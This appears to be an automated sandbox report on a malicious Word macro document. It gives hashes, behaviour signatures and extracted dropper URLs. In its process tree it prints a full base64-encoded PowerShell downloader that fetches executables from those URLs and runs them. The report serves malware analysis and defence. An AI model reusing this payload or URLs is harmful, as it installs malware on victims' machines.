Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 03:08

General

  • Target

    74a80572ee9fdfc8a4902cc701471546JaffaCakes118.doc

  • Size

    169KB

  • MD5

    74a80572ee9fdfc8a4902cc701471546

  • SHA1

    fa17c57c6d4ee453669a42d383839efba09e9271

  • SHA256

    e5d044da71b8df8b48034bf1959bc32cdb6f6b1667b13d7adf0b3a4535f0a0ee

  • SHA512

    196d8ae7a115d01508ce9ff3a89c6ed12ecc4befb501bbe92f8c549c74422644b4d62d7c6b536345aa12127c9559ad31914b8c2e91e24d30311cf27820740639

  • SSDEEP

    1536:vGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xiP+rIiZo7dLeqH74OC+pO4am35Ho:trfrzOH98ipg5lq7G

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://theccwork.com/mail.theccwork.com/IJp/

exe.dropper

https://www.retirementprofessional.com/wp-admin/tjQ/

exe.dropper

https://writingfromling.live/wp-admin/GL/

exe.dropper

http://shahqutubuddin.org/ix/

exe.dropper

https://jumpstart.store/wp-admin/q/

exe.dropper

https://aidenshirt.com/wp-admin/e6f/

exe.dropper

https://edenrug.store/wp-admin/H/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74a80572ee9fdfc8a4902cc701471546JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABUADMAaABmAHMAOAB5AD0AKAAoACcARwA2ACcAKwAnAHIAJwArACcAMQA0AG0AJwApACsAJwB3ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAcgBwAHIATwBGAEkATABFAFwAbQAzAFkAZgBhADAAOQBcAGYARQBkAG0AUQBzAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBpAFQAeQBwAHIATwBgAFQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAJwApACsAJwBsACcAKwAoACcAcwAnACsAJwAxADEAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUgBjAG0AOABjAGIAegAgAD0AIAAoACgAJwBLACcAKwAnADIAbgAnACkAKwAnAGcAcQAnACsAKAAnADkAcgAnACsAJwBoACcAKQApADsAJABVAHoAZgBzADUAXwBnAD0AKAAoACcARgBmACcAKwAnAGwAJwApACsAJwA1ACcAKwAoACcAdABxACcAKwAnAHYAJwApACkAOwAkAEQAZwAzADgAawB2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAegAnACsAKAAnAG8ASgAnACsAJwBNADMAeQAnACkAKwAoACcAZgBhADAAOQAnACsAJwB6AG8AJwApACsAKAAnAEoAJwArACcARgBlAGQAbQBxAHMAdQAnACsAJwB6ACcAKQArACcAbwAnACsAJwBKACcAKQAuACIAcgBFAGAAcABgAEwAQQBDAEUAIgAoACgAWwBDAEgAYQBSAF0AMQAyADIAKwBbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcANAApACwAWwBzAHQAcgBpAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFIAYwBtADgAYwBiAHoAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOABmAHIAaQBoADgAPQAoACcATAAnACsAKAAnADkAMQAnACsAJwBlAG8AJwApACsAJwB5ADUAJwApADsAJABGADYAagBuAGwAagA0AD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBiAGMAbABJAEUATgB0ADsAJABBAG8AawBmADQAZgBpAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwArACcAZQAnACkAKwAnAGMAJwArACgAJwBjAHcAbwAnACsAJwByACcAKwAnAGsALgBjAG8AJwApACsAKAAnAG0ALwBtAGEAJwArACcAaQAnACkAKwAoACcAbAAnACsAJwAuAHQAaABlAGMAJwApACsAKAAnAGMAJwArACcAdwBvACcAKwAnAHIAawAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAEkAJwArACcASgBwACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAvAHcAdwB3AC4AcgBlAHQAaQByAGUAbQBlACcAKwAnAG4AJwArACcAdABwACcAKwAnAHIAbwAnACsAJwBmAGUAcwAnACkAKwAoACcAcwBpAG8AJwArACcAbgAnACkAKwAoACcAYQBsACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAbQBpAG4AJwArACcALwAnACsAJwB0AGoAUQAnACsAJwAvACoAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwB3AHIAaQAnACkAKwAoACcAdABpAG4AJwArACcAZwBmACcAKQArACgAJwByAG8AbQAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZwAuACcAKQArACgAJwBsACcAKwAnAGkAdgAnACkAKwAoACcAZQAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACsAJwBuAC8ARwBMACcAKQArACcALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AcwBoAGEAaABxAHUAdAB1AGIAdQAnACsAJwBkAGQAJwArACcAaQAnACsAJwBuACcAKQArACcALgAnACsAJwBvACcAKwAnAHIAJwArACgAJwBnACcAKwAnAC8AaQB4AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAGoAdQAnACsAJwBtACcAKQArACgAJwBwAHMAdABhAHIAdAAuAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwByAGUALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwArACcAcQAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACsAJwBhACcAKQArACgAJwBpAGQAZQAnACsAJwBuAHMAJwArACcAaABpACcAKQArACcAcgB0ACcAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwBlADYAJwApACsAKAAnAGYALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6ACcAKQArACgAJwAvACcAKwAnAC8AZQBkACcAKwAnAGUAbgByACcAKQArACgAJwB1AGcALgAnACsAJwBzAHQAJwArACcAbwByAGUALwAnACkAKwAoACcAdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKQArACgAJwAvACcAKwAnAEgALwAnACkAKQAuACIAcwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBADgAMQBpAHQAOQBwAD0AKAAnAEkAJwArACgAJwBnAHYAaABrADUAJwArACcANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAYwB5ADUAOQBlAGQAIABpAG4AIAAkAEEAbwBrAGYANABmAGkAKQB7AHQAcgB5AHsAJABGADYAagBuAGwAagA0AC4AIgBEAGAATwB3AE4ATABvAEEARABgAEYASQBgAGwAZQAiACgAJABSAGMAeQA1ADkAZQBkACwAIAAkAEQAZwAzADgAawB2AGYAKQA7ACQAVQBjAGcAYgBsADIAYQA9ACgAJwBVACcAKwAoACcAeABiACcAKwAnADcAawBiACcAKQArACcAZQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARABnADMAOABrAHYAZgApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQAxADAAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAMwA4AGsAdgBmACkAOwAkAEEANQB3ADEAbQB1AG0APQAoACgAJwBIAGYAJwArACcAYgB4ADEAaQAnACkAKwAnAHgAJwApADsAYgByAGUAYQBrADsAJABMAG0AbABzADMAXwBrAD0AKAAnAEQAJwArACcAcQAnACsAKAAnADgANwB1ACcAKwAnAHcAawAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQA2AGsAYQBqAHUAcQA9ACgAJwBXAHYAJwArACgAJwBiAHYAJwArACcAXwAnACkAKwAnADAAYwAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2156

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      d290e4806aa167eb0d5d90efaad8b3a0

      SHA1

      4b5e3398ab55c0da13d4b186aa28b67b979fe3d8

      SHA256

      395e805d3401e6ec619d3833ce553b241ebdddb222d5decc8c6f951e60a3cc9e

      SHA512

      0420efb9812bb909b95e68ba935f3676bcb34e62270617bed504229ae43b094d1ffa710f0699aac31c3349fa15ed9efbd8ea7221eccc3d9ce7cf22827c8b0fdb

    • memory/2156-39-0x000000001B590000-0x000000001B872000-memory.dmp

      Filesize

      2.9MB

    • memory/2156-40-0x0000000001F70000-0x0000000001F78000-memory.dmp

      Filesize

      32KB

    • memory/2424-13-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-20-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-12-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-9-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-25-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-11-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-8-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-23-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-22-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-30-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-19-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-17-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-16-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-15-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-14-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-0-0x000000002F0E1000-0x000000002F0E2000-memory.dmp

      Filesize

      4KB

    • memory/2424-10-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-7-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-18-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-32-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-31-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-29-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-28-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-27-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-26-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-24-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-33-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-6-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-2-0x0000000070B5D000-0x0000000070B68000-memory.dmp

      Filesize

      44KB

    • memory/2424-46-0x0000000070B5D000-0x0000000070B68000-memory.dmp

      Filesize

      44KB

    • memory/2424-47-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2424-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2424-63-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2424-64-0x0000000070B5D000-0x0000000070B68000-memory.dmp

      Filesize

      44KB